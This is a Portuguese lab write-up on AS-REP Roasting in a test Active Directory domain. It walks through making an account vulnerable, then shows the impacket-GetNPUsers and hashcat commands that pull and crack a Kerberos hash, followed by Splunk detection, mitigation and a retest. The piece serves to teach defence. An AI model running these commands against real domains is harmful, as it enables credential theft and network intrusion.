Abusing AS-REP Roasting (T1558.004)
Introdução
AS-REP Roasting é uma vulnerabilidade em que o KDC não exige autenticação antes de enviar o TGT. O processo ocorre em ambientes como o Active Directory (AD) da Microsoft quando uma conta específica está configurada sem a exigência de “pré-autenticação Kerberos” (opção Do not require Kerberos preauthentication).
- A Solicitação (AS-REQ): O atacante solicita um tíquete (Ticket Granting Ticket — TGT) ao Controlador de Domínio para uma conta-alvo que possua essa pré-autenticação desativada.
- A Resposta (AS-REP): Como a pré-autenticação não é exigida, o servidor responde enviando dados criptografados com a chave de longo prazo do usuário (baseada na senha).
- Quebra Offline: O atacante pega essa resposta e tenta descriptografá-la usando força bruta em máquinas próprias, sem gerar alertas no servidor.
Setup
Essa vulnerabilidade ocorre quando a opção DONT_REQUIRE_PRE_AUTH está ativada para um determinado usuário. Então vamos ativar essa configuração no usuário Rick.Grimes.
Abra o Server Manager no DC e vá em Tools, depois clique em Active Directory Users and Computers.
Após isso vai abrir uma janela, clique em uma das OUs (Ex: HR) em que existam usuários, clique com o botão direito do mouse em um dos usuários e vá em Properties (Propriedades).
Vai abrir outra janela, vá em Account (Contas) e na lista de opções, marque “Do not require Kerberos preauthentication”, clique em Apply e depois em ok.
💡Desative a configuração que exige que o usuário mude de senha no próximo login para não ter problemas ao executar o ataque
Verificando se a configuração funcionou utilizando o Powershell.
1
2
3
4
PS C:\\Users\\Administrator> Get-ADUser -Identity "rick.grimes" -Property DoesNotRequirePreAuth | Select-Object Name, DoesNotRequirePreAuth
Name DoesNotRequirePreAuth
---- ---------------------
Rick Grimes True
Tudo “certo” haha, DoesNotRequirePreAuth está como True para o usuário Rick Grimes.
Ataque
AS-REP Roasting
Para obter o TGT vamos usar a ferramenta GetNPUsers do impacket, passamos o domínio, o usuário, a opção -no-pass e o IP do domain controller.
1
2
3
┌──(kali㉿kali)-[~/Documents/sona.internal]
└─$ impacket-GetNPUsers sona.internal/rick.grimes -no-pass -dc-ip 172.16.144.135
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
1
2
[*] Getting TGT for rick.grimes
$krb5asrep$23$rick.grimes@SONA.INTERNAL:21208be72b8f12b56725d248bb71cf89$fbfa8f2e4be6e97dd4223a7800bcf9dce8b15e4ca0b4dbbad670551b8040c2814338d62cf02935a6e64b80c48d2bc7334720022e2d00a7339c56e3dc6c555c65eaf128646c0aef3231332a33f9a95fdd1701959f927a25e035c103cb0ec185eeb420191116d1aa12126eb7fcae9a655f1b9d9b765779deed58319b39e4902f2633223a4968868b1a61f0a5ebb906544e35c051e44596399048f5069da412923a176247ed8c5c2b8ecacbf6c0c56a329f8749e24eef4149e7928ea22532bff97cf0013cef70843a92cad563f06c5f44f1daec436752a470385acc8ae3af5dfdacc3b6708b013f28ca2c53e01497ee
Aqui podemos ver que a nossa máquina de ataque 172.16.144.139 fez uma requisição AS-REQ do protocolo Kerberos para a máquina alvo 172.16.144.135 na porta 88, pedindo o TGT (Ticket Granting Ticket, que servirá para solicitar os Tickets de Serviço ao TGS ao acessar outros recursos na rede) para iniciar a sessão. Como a opção que configuramos antes diz que não é necessário a pré-autenticação, não precisamos nos autenticar (A autenticação seria enviando o timestamp criptografado com a chave derivada da senha do usuário rick.grimes). Ao receber essa requisição, o KDC nos envia o TGT e uma porção de informações criptografadas na resposta AS-REP com a chave derivada da senha do usuário rick.grimes, que será usada mais tarde para descobrirmos a senha dele offline usando o Hashcat.
Cracking Password
Agora vamos descobrir a senha do usuário rick.grimes com a ferramenta Hashcat. O que o Hashcat faz é pegar uma lista de senhas, como a wordlist Rockyou, derivar uma chave e tentar descriptografar os dados enviados no AS-REP; caso consiga com uma determinada senha, ele sabe que aquela senha é a correta, pois só conseguimos descriptografar os dados com a mesma chave (derivada da senha).
1
2
3
┌──(kali㉿kali)-[~/Documents/sona.internal]
└─$ hashcat -m 18200 rickgrimes.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule -O
hashcat (v7.1.2) starting
1
2
3
4
5
6
7
8
9
10
11
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2929/5859 MB (1024 MB allocatable), 4MCU.
. SKIP
.Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 946729410Cracking performance lower than expected?.
. SKIP
.$krb5asrep$23$rick.grimes@SONA.INTERNAL:5f9e9e9b02603ba8d96bfa76905d39b8$c924e67b6e9b4330f169358aec2b24bf8b8c8d34dff1d612ae3606b95a554dba5772fb523208ddab29b5569a7852d33607057cf4e1c6a218f558df7f724543b262d3c4782ec39f6598062c2ee27759fbd4032466e8d0ad4bf6941d98ac88ce8ead0959d3f592455228c67f8eff5344973eda214b8f76512249773db6c5fe59cdc75c4a4ee0765a7f9884a298cc6e5639f5d6762444f38fffb4a7534b80315e11645c1360ba7482d3ac37d2f5078d6834b58cfd04dd1bdb71b3b1ea1476c9290d7dd175c6e337146e2bcb2307243e440456f8b8f141d87341a87ae34bd2404d7a68144619959e0c1d8af4e8202f06:Qwerty1234!
E a senha descoberta é: Qwerty1234!
Impacto do Ataque
Se a conta comprometida tiver privilégios administrativos ou de acesso a sistemas críticos, o invasor pode utilizar a senha para se movimentar lateralmente na rede, roubar dados ou instalar malwares.
Defesa
Aqui estou utilizando o Splunk.
Configurando Alerta
Para achar um determinado tipo de ataque, precisamos filtrá-lo pelo seu ID de log no Windows (4768) e por suas assinaturas. No caso do AS-REP Roasting, uma de suas assinaturas é o tipo de pré-autenticação.
1
index=* EventCode=4768 Pre_Authentication_Type=0
Após fazer a consulta para o tipo de técnica que queremos encontrar, clicamos em “Save As” e depois em “Alert”.
Preenchemos o título, descrição, o tipo de alerta (tempo real), nível de severidade… e salvamos.
Detecção
Recebemos o alerta que configuramos antes para a técnica AS-REP Roasting no painel.
E aqui estão as informações sobre o evento.
Mitigação
Para mitigar esse tipo de técnica podemos fazer duas coisas:
- Ativar a pré autenticação do Kerberos
- Implementar senhas fortes
Por agora, vamos apenas ativar a pré autenticação. Vamos na mesma janela Rick Grimes Properties e desmarcamos a opção “Do not require Kerberos preauthentication”.
Validação
Para ter certeza de que a falha de configuração foi corrigida, vamos realizar a técnica novamente e observar se funciona ou não.
1
2
3
┌──(kali㉿kali)-[~/Documents/sona.internal]
└─$ impacket-GetNPUsers sona.internal/rick.grimes -no-pass -dc-ip 172.16.144.135
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies usu
1
2
[*] Getting TGT for rick.grimes
[-] User rick.grimes doesn't have UF_DONT_REQUIRE_PREAUTH set
E aqui pode ver a mensagem “UF_DONT_REQUIRE_PREAUTH” dizendo que a opção de desativar pré autenticação não está mais configurada, fazendo que o nosso ataque não funcione e não conseguimos obter o TGT como anteriormente.








